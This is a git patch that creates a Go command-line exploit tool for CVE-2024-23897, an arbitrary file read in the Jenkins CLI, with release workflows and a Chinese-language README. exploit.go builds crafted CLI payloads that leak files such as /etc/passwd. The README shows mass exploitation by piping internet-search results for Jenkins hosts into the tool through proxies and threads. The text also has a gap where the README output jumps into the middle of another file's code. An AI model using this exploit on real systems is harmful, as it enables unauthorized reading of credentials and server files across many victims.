From 2c6847fe162436f46ff8123612c9774ded6fd911 Mon Sep 17 00:00:00 2001 From: wjlin0 Date: Sun, 28 Jan 2024 03:24:25 +0800 Subject: [PATCH] =?UTF-8?q?=F0=9F=8E=89=20CVE-2024-23897?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .github/workflows/release-binary.yml | 69 ++++++ .github/workflows/release-test.yml | 71 ++++++ .gitignore | 6 + .goreleaser/linux.yml | 25 +++ .goreleaser/mac.yml | 24 +++ .goreleaser/windows.yml | 24 +++ LICENSE | 21 ++ README.md | 105 +++++++++ cmd/CVE-2024-23897/CVE-2024-23897.go | 18 ++ go.mod | 78 +++++++ go.sum | 309 +++++++++++++++++++++++++++ pkg/input/input.go | 38 ++++ pkg/runner/banner.go | 24 +++ pkg/runner/options.go | 62 ++++++ pkg/runner/output.go | 44 ++++ pkg/runner/proxy.go | 49 +++++ pkg/runner/runner.go | 130 +++++++++++ pkg/runner/validate.go | 43 ++++ pkg/scanner/check.go | 10 + pkg/scanner/exploit.go | 128 +++++++++++ pkg/scanner/scanner.go | 76 +++++++ pkg/types/options.go | 21 ++ pkg/types/proxy.go | 6 + pkg/utils/utils.go | 59 +++++ 24 files changed, 1440 insertions(+) create mode 100644 .github/workflows/release-binary.yml create mode 100644 .github/workflows/release-test.yml create mode 100644 .gitignore create mode 100644 .goreleaser/linux.yml create mode 100644 .goreleaser/mac.yml create mode 100644 .goreleaser/windows.yml create mode 100644 LICENSE create mode 100644 README.md create mode 100644 cmd/CVE-2024-23897/CVE-2024-23897.go create mode 100644 go.mod create mode 100644 go.sum create mode 100644 pkg/input/input.go create mode 100644 pkg/runner/banner.go create mode 100644 pkg/runner/options.go create mode 100644 pkg/runner/output.go create mode 100644 pkg/runner/proxy.go create mode 100644 pkg/runner/runner.go create mode 100644 pkg/runner/validate.go create mode 100644 pkg/scanner/check.go create mode 100644 pkg/scanner/exploit.go create mode 100644 pkg/scanner/scanner.go create mode 100644 pkg/types/options.go create mode 100644 pkg/types/proxy.go create mode 100644 pkg/utils/utils.go diff --git a/.github/workflows/release-binary.yml b/.github/workflows/release-binary.yml new file mode 100644 index 0000000..bcb87f9 --- /dev/null +++ b/.github/workflows/release-binary.yml @@ -0,0 +1,69 @@ +name: 🎉 Release Binary + +on: + push: + tags: + - v* + workflow_dispatch: + +jobs: + build-mac: + runs-on: macos-latest + steps: + - name: Code checkout + uses: actions/checkout@v3 + with: + fetch-depth: 0 + - name: Set up Go + uses: actions/setup-go@v4 + with: + go-version: 1.21.x + - name: Run GoReleaser + uses: goreleaser/goreleaser-action@v4 + with: + version: latest + args: release -f .goreleaser/mac.yml --rm-dist + workdir: . + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + + build-linux: + runs-on: ubuntu-latest + steps: + - name: Code checkout + uses: actions/checkout@v3 + with: + fetch-depth: 0 + - name: Set up Go + uses: actions/setup-go@v4 + with: + go-version: 1.21.x + + - name: Run GoReleaser + uses: goreleaser/goreleaser-action@v4 + with: + version: latest + args: release -f .goreleaser/linux.yml --rm-dist + workdir: . + env: + GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}" + + build-windows: + runs-on: windows-latest + steps: + - name: Code checkout + uses: actions/checkout@v3 + with: + fetch-depth: 0 + - name: Set up Go + uses: actions/setup-go@v4 + with: + go-version: 1.21.x + - name: Run GoReleaser + uses: goreleaser/goreleaser-action@v4 + with: + version: latest + args: release -f .goreleaser/windows.yml --rm-dist + workdir: . + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} \ No newline at end of file diff --git a/.github/workflows/release-test.yml b/.github/workflows/release-test.yml new file mode 100644 index 0000000..2a7d0fe --- /dev/null +++ b/.github/workflows/release-test.yml @@ -0,0 +1,71 @@ +name: 🔨 Release Test + +on: + pull_request: + paths: + - '**.go' + - '**.mod' + - '**.yml' + workflow_dispatch: + +jobs: + release-test-mac: + runs-on: macos-latest + steps: + - name: "Check out code" + uses: actions/checkout@v3 + with: + fetch-depth: 0 + + - name: Set up Go + uses: actions/setup-go@v4 + with: + go-version: 1.21.x + + - name: release test + uses: goreleaser/goreleaser-action@v4 + with: + args: "release --clean --snapshot -f .goreleaser/mac.yml" + version: latest + workdir: . + + release-test-linux: + runs-on: ubuntu-latest + steps: + - name: "Check out code" + uses: actions/checkout@v3 + with: + fetch-depth: 0 + + - name: Set up Go + uses: actions/setup-go@v4 + with: + go-version: 1.21.x + + + - name: release test + uses: goreleaser/goreleaser-action@v4 + with: + args: "release --clean --snapshot -f .goreleaser/linux.yml" + version: latest + workdir: . + + release-test-windows: + runs-on: windows-latest + steps: + - name: "Check out code" + uses: actions/checkout@v3 + with: + fetch-depth: 0 + + - name: Set up Go + uses: actions/setup-go@v4 + with: + go-version: 1.21.x + + - name: release test + uses: goreleaser/goreleaser-action@v4 + with: + args: "release --clean --snapshot -f .goreleaser/windows.yml" + version: latest + workdir: . \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..6c39028 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +*.json +*.DS_Store +.idea/ +test/ +output/ + diff --git a/.goreleaser/linux.yml b/.goreleaser/linux.yml new file mode 100644 index 0000000..cf90ea6 --- /dev/null +++ b/.goreleaser/linux.yml @@ -0,0 +1,25 @@ +env: + - GO111MODULE=on +before: + hooks: + - go mod tidy +project_name: CVE-2024-23897 +builds: + - id: CVE-2024-23897-linux + binary: '{{ .ProjectName }}' + env: + - CGO_ENABLED=0 + main: ./cmd/CVE-2024-23897/CVE-2024-23897.go + goos: + - linux + goarch: + - amd64 + - arm64 + - arm + +archives: + - format: zip + name_template: '{{ .ProjectName }}_{{ .Version }}_{{ if eq .Os "darwin" }}macOS{{ else }}{{ .Os }}{{ end }}_{{ .Arch }}' + +checksum: + name_template: "{{ .ProjectName }}-linux-checksums.txt" \ No newline at end of file diff --git a/.goreleaser/mac.yml b/.goreleaser/mac.yml new file mode 100644 index 0000000..1e8df73 --- /dev/null +++ b/.goreleaser/mac.yml @@ -0,0 +1,24 @@ +env: + - GO111MODULE=on +before: + hooks: + - go mod tidy +project_name: CVE-2024-23897 +builds: + - id: CVE-2024-23897-darwin + binary: '{{ .ProjectName }}' + env: + - CGO_ENABLED=0 + main: ./cmd/CVE-2024-23897/CVE-2024-23897.go + goos: + - darwin + goarch: + - amd64 + - arm64 +archives: + - format: zip + name_template: '{{ .ProjectName }}_{{ .Version }}_{{ if eq .Os "darwin" }}macOS{{ else }}{{ .Os }}{{ end }}_{{ .Arch }}' + + +checksum: + name_template: "{{ .ProjectName }}-mac-checksums.txt" \ No newline at end of file diff --git a/.goreleaser/windows.yml b/.goreleaser/windows.yml new file mode 100644 index 0000000..208f8bf --- /dev/null +++ b/.goreleaser/windows.yml @@ -0,0 +1,24 @@ +env: + - GO111MODULE=on +before: + hooks: + - go mod tidy +project_name: CVE-2024-23897 +builds: + - id: CVE-2024-23897-windows + env: + - CGO_ENABLED=0 + binary: '{{ .ProjectName }}' + main: ./cmd/CVE-2024-23897/CVE-2024-23897.go + goos: + - windows + goarch: + - "amd64" + - "386" + - "arm" +archives: + - format: zip + name_template: '{{ .ProjectName }}_{{ .Version }}_{{ if eq .Os "darwin" }}macOS{{ else }}{{ .Os }}{{ end }}_{{ .Arch }}' + +checksum: + name_template: "{{ .ProjectName }}-windows-checksums.txt" \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..e2e36d9 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 wjlin0 + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..76ca439 --- /dev/null +++ b/README.md @@ -0,0 +1,105 @@ +

CVE-2024-23897 - Jenkins 任意文件读取 利用工具

+

+ + +GitHub Repo stars + + + +

+ +# 安装 + +CVE-2024-23897 需要`go 1.21`才能完成安装 执行以下命令 + +```shell +go install github.com/wjlin0/CVE-2024-23897/cmd/CVE-2024-23897@latest +``` +或者 +安装完成的二进制文件在[release](https://github.com/wjlin0/CVE-2024-23897/releases)中下载 +- [macOS-arm64](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.0/CVE-2024-23897_1.0.0_macOS_arm64.zip) + +- [macOS-amd64](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.0/CVE-2024-23897_1.0.0_macOS_amd64.zip) + +- [linux-amd64](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.0/CVE-2024-23897_1.0.0_linux_amd64.zip) + +- [windows-amd64](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.0/CVE-2024-23897_1.0.0_windows_amd64.zip) + +- [windows-386](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.0/CVE-2024-23897_1.0.0_windows_386.zip) + + +# 使用 +```shell +CVE-2024-23897 -help +``` +```text +CVE-2024-23897 is a tool for scanning for CVE-2024-23897 + +Usage: + CVE-2024-23897 [flags] + +Flags: +INPUT: + -url, -u string[] URL to scan. (e.g. -u https://example.com) + -list string[] File containing list of URLs to scan. (e.g. -list list.txt) + -f, -filename string[] The file path that needs to be read. (e.g. -f /etc/passwd) + +OUTPUT: + -no-color Don't Use colors in output + +DEBUG: + -debug Enable debugging + -p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input) + -irt, -input-read-timeout value timeout on input read (default 3m0s) + -no-stdin disable stdin processing + +LIMIT: + -timeout int time to wait in seconds before timeout (default 10) + -t, -thread int Number of concurrent threads (default 10) + -rl, -rate-limit int Rate limit for enumeration speed (n req/sec) (default -1) + + +Examples: +Run CVE-2024-23897 on a single targets + $ CVE-2024-23897 -url https://example.com +Run CVE-2024-23897 on a list of targets + $ CVE-2024-23897 -list list.txt +Run CVE-2024-23897 on a single targets with filenames + $ CVE-2024-23897 -url https://example.com -f /etc/passwd -f /etc/hostname +Run CVE-2024-23897 on a single targets a proxy server + $ CVE-2024-23897 -url https://example.com -proxy http://127.0.0.1:7890 +Run CVE-2024-23897 on uncovering Jenkins + $ pathScan -ue 'quake' -uq 'app: "Jenkins"' -uc -silent | CVE-2024-23897 +``` + +use pathScan to collect targets and pass them to CVE-2024-23897 via standard input + +```shell +pathScan -ue quake -uq 'app:"springboot"' -uc -silent -ul 200 | CVE-2024-23897 +``` +> To protect your privacy, I have deleted some outputs +```text +➜ ~ pathScan -ue 'quake' -uq 'app: "Jenkins"' -uc -silent | CVE-2024-23897 + + _______ ________ ___ ____ ___ __ __ ___ _____ ____ ____ _____ + / ____| | / / ____/ |__ \/ __ |__ \/ // / |__ \|__ /( __ )/ __ /__ / + / / | | / / __/________/ / / / __/ / // /_________/ / /_ = 65535 { + return fmt.Errorf("filename length must be less than 65535") + } + } + + return nil +} diff --git a/pkg/scanner/check.go b/pkg/scanner/check.go new file mode 100644 index 0000000..412cf4d --- /dev/null +++ b/pkg/scanner/check.go @@ -0,0 +1,10 @@ +package scanner + +import ( + "github.com/wjlin0/CVE-2024-23897/pkg/input" + "github.com/wjlin0/CVE-2024-23897/pkg/output" +) + +func (s *Scanner) Check(target *input.Target, filename string) (result *output.ResultEvent) { + return s.Exploit(target, filename) +} diff --git a/pkg/scanner/exploit.go b/pkg/scanner/exploit.go new file mode 100644 index 0000000..dd99f73 --- /dev/null +++ b/pkg/scanner/exploit.go @@ -0,0 +1,128 @@ +package scanner + +import ( + "bytes" + "encoding/binary" + "fmt" + "github.com/google/uuid" + "github.com/projectdiscovery/retryablehttp-go" + "github.com/wjlin0/CVE-2024-23897/pkg/input" + "github.com/wjlin0/CVE-2024-23897/pkg/output" + "io" + "regexp" + "sync" + "time" +) + +var u, _ = uuid.NewRandom() + +func (s *Scanner) Exploit(target *input.Target, filename string) (result *output.ResultEvent) { + uid := u.String() + urlpath := fmt.Sprintf("%s/cli?remoting=false", target.ToString()) + var wg sync.WaitGroup + wg.Add(2) + go func() { + defer wg.Done() + time.Sleep(1000 * time.Millisecond) // 确保 download 请求先于 upload 请求 + request, _ := retryablehttp.NewRequest("POST", urlpath, bytes.NewBuffer(parseRequestData(filename))) + request.Header.Add("Session", uid) + request.Header.Add("Side", "upload") + _, _ = s.Do(request) + }() + + go func() { + defer wg.Done() + request, _ := retryablehttp.NewRequest("POST", urlpath, nil) + request.Header.Add("Session", uid) + request.Header.Add("Side", "download") + resp, err := s.Do(request) + if err != nil { + return + } + defer resp.Body.Close() + body, err := io.ReadAll(resp.Body) + if err != nil { + return + } + if len(body) > 7 && bytes.HasPrefix(body[1:len(body)-1], []byte{0x00, 0x00}) && bytes.HasSuffix(body[1:len(body)-1], []byte{0x00, 0x00, 0x00, 0x04, 0x04, 0x00, 0x00, 0x00}) { + + result = &output.ResultEvent{ + Port: target.Port, + Host: target.Host, + URL: target.ToString(), + } + data, err := parseResponseData(body[1 : len(body)-1]) + if err != nil { + result.Error = err.Error() + } + result.Response = string(data) + result.Filename = filename + + } + }() + + wg.Wait() + + return +} + +var regexData = regexp.MustCompile(`No argument is allowed: (.*)\njava -jar jenkins-cli.jar who-am-i`) + +func parseResponseData(data []byte) ([]byte, error) { + var datas []byte + if len(data) < 7 { + return nil, fmt.Errorf("invalid length: %d", len(data)) + } + for len(data) >= 7 { + if string(data[:7]) == "\x00\x00\x00\x04\x04\x00\x00" { + break + } + + data = data[2:] + lengthBytes := data[:2] + + // 将 lengthBytes 转换为 10 进制 + length := binary.BigEndian.Uint16(lengthBytes) + if int(length)+3 > len(data) { + return nil, fmt.Errorf("invalid length: exceeds available data") + } + + datas = append(datas, data[3:3+length]...) + data = data[3+length:] + } + // 正则提取 该漏洞的任意文件读取的第一行 + // 例如:/etc/passwd + // root:x:0:0:root:/root:/bin/bash + rg := regexData.FindStringSubmatch(string(datas)) + if len(rg) > 1 { + datas = []byte(rg[1]) + } + return datas, nil +} + +func parseRequestData(filename string) []byte { + //dataBytes := []byte{ + // 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x04, 0x68, 0x65, 0x6c, 0x70, + //} + dataBytes := []byte{} + command := "who-am-i" + commandBytes := []byte{0x00, 0x00} + commandLength := len(command) + commandBytes = append(commandBytes, []byte{byte((commandLength + 2) >> 8), byte((commandLength + 2) & 0xff)}...) + commandBytes = append(commandBytes, 0x00) + commandBytes = append(commandBytes, []byte{byte(commandLength >> 8), byte(commandLength & 0xff)}...) + commandBytes = append(commandBytes, []byte(command)...) + + fileBytes := []byte{0x00, 0x00} + filename = fmt.Sprintf("@%s", filename) + filenameLength := len(filename) + fileBytes = append(fileBytes, []byte{byte((filenameLength + 2) >> 8), byte((filenameLength + 2) & 0xff)}...) + fileBytes = append(fileBytes, 0x00) + fileBytes = append(fileBytes, []byte{byte(filenameLength >> 8), byte(filenameLength & 0xff)}...) + fileBytes = append(fileBytes, []byte(filename)...) + + dataBytes = append(dataBytes, commandBytes...) + dataBytes = append(dataBytes, fileBytes...) + dataBytes = append(dataBytes, 0x00, 0x00, 0x00, 0x05, 0x02, 0x00, 0x03, 0x47, 0x42, 0x4b, 0x00, 0x00, 0x00, 0x07, 0x01, 0x00, 0x05, 0x7a, 0x68, 0x5f, 0x43, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x03) + return dataBytes +} diff --git a/pkg/scanner/scanner.go b/pkg/scanner/scanner.go new file mode 100644 index 0000000..0346efd --- /dev/null +++ b/pkg/scanner/scanner.go @@ -0,0 +1,76 @@ +package scanner + +import ( + "context" + "crypto/tls" + "github.com/projectdiscovery/ratelimit" + "github.com/projectdiscovery/retryablehttp-go" + "github.com/wjlin0/CVE-2024-23897/pkg/types" + "net/http" + "net/url" + "time" +) + +type Scanner struct { + client *retryablehttp.Client + rateLimiter *ratelimit.MultiLimiter + options *types.Options +} + +func NewScanner(options *types.Options) (*Scanner, error) { + retryMax := 0 + + // load proxy + + proxyFunc := func(req *http.Request) (*url.URL, error) { + if types.ProxyURL != "" { + return url.Parse(types.ProxyURL) + } + return http.ProxyFromEnvironment(req) + + } + Transport := &http.Transport{ + MaxIdleConns: -1, + MaxIdleConnsPerHost: -1, + TLSClientConfig: &tls.Config{ + InsecureSkipVerify: true, + }, + ResponseHeaderTimeout: time.Duration(options.Timeout) * time.Second, + Proxy: proxyFunc, + } + httpclient := &http.Client{ + Transport: Transport, + Timeout: time.Duration(options.Timeout) * time.Second, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + + retryablehttpOptions := retryablehttp.Options{RetryMax: retryMax} + retryablehttpOptions.RetryWaitMax = time.Duration(options.Timeout) * time.Second + client := retryablehttp.NewWithHTTPClient(httpclient, retryablehttpOptions) + + var rateLimit *ratelimit.Options + if options.RateLimit > 0 { + rateLimit = &ratelimit.Options{MaxCount: uint(options.RateLimit), Key: "default", Duration: time.Second} + + } else { + rateLimit = &ratelimit.Options{IsUnlimited: true, Key: "default"} + } + + rateLimits, err := ratelimit.NewMultiLimiter(context.Background(), rateLimit) + if err != nil { + return nil, err + } + + return &Scanner{ + client: client, + options: options, + rateLimiter: rateLimits, + }, err +} + +func (s *Scanner) Do(request *retryablehttp.Request) (*http.Response, error) { + _ = s.rateLimiter.Take("default") + return s.client.Do(request) +} diff --git a/pkg/types/options.go b/pkg/types/options.go new file mode 100644 index 0000000..19ff52c --- /dev/null +++ b/pkg/types/options.go @@ -0,0 +1,21 @@ +package types + +import ( + "github.com/projectdiscovery/goflags" + "time" +) + +type Options struct { + URL goflags.StringSlice + ListURL goflags.StringSlice + Filename goflags.StringSlice + ProxyURL goflags.StringSlice + NoColor bool + Debug bool + DisableStdin bool + RateLimit int + Thread int + InputReadTimeout time.Duration + Stdin bool + Timeout int +} diff --git a/pkg/types/proxy.go b/pkg/types/proxy.go new file mode 100644 index 0000000..3f15060 --- /dev/null +++ b/pkg/types/proxy.go @@ -0,0 +1,6 @@ +package types + +var ( + // ProxyURL is the URL for the proxy server + ProxyURL string +) diff --git a/pkg/utils/utils.go b/pkg/utils/utils.go new file mode 100644 index 0000000..62d62e3 --- /dev/null +++ b/pkg/utils/utils.go @@ -0,0 +1,59 @@ +package utils + +import ( + "fmt" + "net/url" + "strconv" + "strings" +) + +func GetSchemeHostAndPort(path string) (string, string, int) { + var ( + protocol string = "http" + host string + port int + ) + + // 首先判断是否以 http:// 或 https:// 开头 + if strings.HasPrefix(path, "http") { + parse, err := url.Parse(path) + if err != nil { + return "", "", 0 + } + protocol = parse.Scheme + host = parse.Hostname() + port, _ = strconv.Atoi(parse.Port()) + if port == 0 { + if protocol == "http" { + port = 80 + } else { + port = 443 + } + } + return protocol, host, port + } + + // 判断是否有 /,如果有 /,则截取 / 前面的部分 不包含 / + if strings.Contains(path, "/") { + path = path[:strings.Index(path, "/")] + } + // 判断是否以 [ 开头,如果是,则是 ipv6 + if strings.HasPrefix(path, "[") { + // 提权 host 包含 [] + host = path[1:strings.Index(path, "]")] + // 判断是否有 :,如果有,则截取 : 后面的部分 + if strings.Contains(strings.Replace(path, fmt.Sprintf("[%s]", host), "", 1), ":") { + port, _ = strconv.Atoi(path[len(host)+3:]) + } else { + port = 80 + } + return protocol, host, port + } + // 判断是否有 :,如果有,则截取 : 后面的部分 + if strings.Contains(path, ":") { + host = path[:strings.Index(path, ":")] + port, _ = strconv.Atoi(path[strings.Index(path, ":")+1:]) + return protocol, host, port + } + return protocol, path, 80 +}